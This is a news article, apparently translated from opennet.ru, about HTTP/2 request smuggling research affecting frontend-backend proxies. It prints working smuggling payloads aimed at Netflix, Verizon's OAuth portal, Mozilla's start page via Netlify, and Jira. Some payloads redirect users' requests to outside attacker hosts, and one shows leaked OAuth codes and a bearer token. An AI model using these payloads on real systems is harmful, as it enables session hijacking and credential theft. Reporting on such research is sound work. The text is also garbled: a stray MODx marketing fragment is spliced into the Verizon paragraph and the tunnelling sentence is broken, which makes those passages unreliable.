Web systems where the frontend accepts connections via HTTP/2 and forwards them to the backend via HTTP/1.1 have been susceptible to a new variant of the "HTTP Request Smuggling" attack. This allows attackers to inject specially crafted client requests into the content of other users' requests being processed in the same stream between the frontend and backend. The attack can be used to inject malicious JavaScript code into a session with a legitimate site, bypass access control systems, and intercept authentication parameters.
The problem affects web proxies, load balancers, web accelerators, content delivery systems, and other configurations where requests are redirected in a frontend-backend scheme. The study's author demonstrated the attack's feasibility on systems like Netflix, Verizon, Bitbucket, Netlify CDN, and Atlassian, earning $56,000 through vulnerability reward programs. The issue has also been confirmed in F5 Networks products. Partially, it affects mod_proxy in the Apache HTTP server (CVE-2021-33193), with a fix expected in version 2.4.49 (developers were notified of the issue in early May and given three months to resolve it). In nginx, the possibility of specifying both "Content-Length" and "Transfer-Encoding" headers simultaneously was blocked in the previous release (1.21.1). Tools for conducting attacks have already been included in the Burp toolkit and are available as the Turbo Intruder extension.
The mechanism behind the new request injection method is similar to the vulnerability identified by the same researcher two years ago, but limited to frontends accepting requests over HTTP/1.1. Recall that in the frontend-backend scheme, an additional node—the frontend—accepts client requests and establishes a long-lived TCP connection with the backend, which handles requests directly. Through this common connection, requests from different users are typically transmitted in a chain, one after another, separated by HTTP protocol mechanisms.
The classic attack "HTTP Request Smuggling" is based on the fact that frontends and backends interpret the use of HTTP headers "Content-Length" (which defines the total size of the data in the request) and "Transfer-Encoding: chunked" (which allows data to be sent in parts) differently. For example, if the frontend only supports "Content-Length" but ignores "Transfer-Encoding: chunked", an attacker can send a request that includes both "Content-Length" and "Transfer-Encoding: chunked" headers, but the size in "Content-Length" does not match the size of the chunked stream. In this case, the frontend will process and redirect the request according to "Content-Length", while the backend will expect the ending block based on "Transfer-Encoding: chunked", and the remaining part of the attacker's request will appear at the beginning of a subsequent legitimate request.
Unlike the text-based protocol HTTP/1.1, which is parsed at the line level, HTTP/2 is a binary protocol and manipulates data blocks of a specified size. In HTTP/2, pseudo-headers corresponding to standard HTTP headers are used. When interacting with the backend using the HTTP/1.1 protocol, the frontend translates these pseudo-headers into equivalent HTTP/1.1 headers. The problem is that the backend makes parsing decisions based on the HTTP headers set by the frontend, without having information about the parameters of the original request.
Values for "content-length" and "transfer-encoding" can be transmitted in the form of pseudo-headers, even though they are not used in HTTP/2, as the size of all data is defined in a separate field. However, during the transformation of an HTTP/2 request into HTTP/1.1, these headers are carried over and can mislead the backend. Two main variants of the attack are highlighted: H2.TE and H2.CL, where the backend is misled by incorrect values of transfer-encoding or content-length that do not correspond to the actual size of the request body received by the frontend via the HTTP/2 protocol.
An example of the H2.CL attack involves specifying an incorrect size in the content-length pseudo-header when sending an HTTP/2 request to Netflix. This request leads to adding a corresponding HTTP header Content-Length when accessing the backend via HTTP/1.1, but since the size in Content-Length is indicated to be less than the actual size, part of the data at the end is processed as the beginning of the next request.
For example, the HTTP/2 request: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Will result in sending the following request to the backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Since Content-Length has a value of 4, the backend will interpret only 'abcd' as the request body, while the remainder 'GET /n HTTP/1.1...' will be processed as the beginning of a subsequent request associated with another user. Consequently, a desynchronization of the stream will occur, and the result of processing the spoofed request will be returned in response to the subsequent request. In the case of Netflix, indicating an external host in the 'Host:' header of the spoofed request led to the client being returned a response 'Location: https://02.rs?x.netflix.com/n' and allowed arbitrary content to be sent to the client, including executing its JavaScript code in the context of the Netflix site.
The second type of attack (H2.TE) is related to the manipulation of the 'Transfer-Encoding: chunked' header. The use of the transfer-encoding pseudo-header in HTTP/2 is prohibited by the specification, and requests containing it should be treated as invalid. However, some frontend implementations do not take this requirement into account and allow the use of the transfer-encoding pseudo-header in HTTP/2, which is transformed into a similar HTTP header. If the 'Transfer-Encoding' header is present, the backend may consider it of higher priority and parse the data in chunks using blocks of varying sizes in the format '{size}\r\n{block}\r\n{size}\r\n{block}\r\n0', despite the initial division by total size.
Such a vulnerability was demonstrated by the company Verizon. The issue was related to the authentication portal and of the original MODx and provides you with more tools to create custom websites and rich web applications., which is also used on sites such as Huffington Post and Engadget. For example, the client's HTTP/2 request: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Triggered the transfer of an HTTP request to the backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
The backend, in turn, ignored the "Content-Length" header and performed stream segmentation based on "Transfer-Encoding: chunked". In practice, the attack allowed redirecting user requests to its site and intercepting requests related to OAuth authentication, the parameters of which were visible in the Referer header, as well as simulating an authentication session and initiating the sending of user credentials to the attacker's host. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
For attacking HTTP/2 implementations that do not allow the transfer-encoding pseudo-header, another method was suggested that involved injecting the "Transfer-Encoding" header by attaching it to other pseudo-headers separated by a newline character (when converting to HTTP/1.1, two separate HTTP headers are created in this case).
For example, the aforementioned problem affected Atlassian Jira and Netlify CDN (used for serving Mozilla's start page in Firefox). In particular, the HTTP/2 request :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
resulted in sending an HTTP request to the backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Another variant of injecting the "Transfer-Encoding" header was appending it to the name of another pseudo-header or to the request method line. For example, when addressing Atlassian Jira, the pseudo-header name "foo: bar\r\ntransfer-encoding" with the value "chunked" led to the addition of the HTTP headers "foo: bar" and "transfer-encoding: chunked", while specifying in the pseudo-header ":method" the value "GET / HTTP/1.1\r\nTransfer-encoding: chunked" was translated to "GET / HTTP/1.1\r\ntransfer-encoding: chunked."
The researcher who identified the issue also proposed a request tunneling technique to perform attacks on frontends where each an IP address A separate connection is established with the backend, and the traffic of different users does not mix. The proposed technique does not allow intruding into other users' requests, but it enables the poisoning of a shared cache, impacting the processing of other requests, and allows for the substitution of internal HTTP headers used to transmit service information from the frontend to the backend (for example, when authenticating on the frontend, the backend can receive information about the current user within these headers). As a practical example of this method, cache poisoning was used to gain control over pages in the Bitbucket service.
Source: opennet.ru
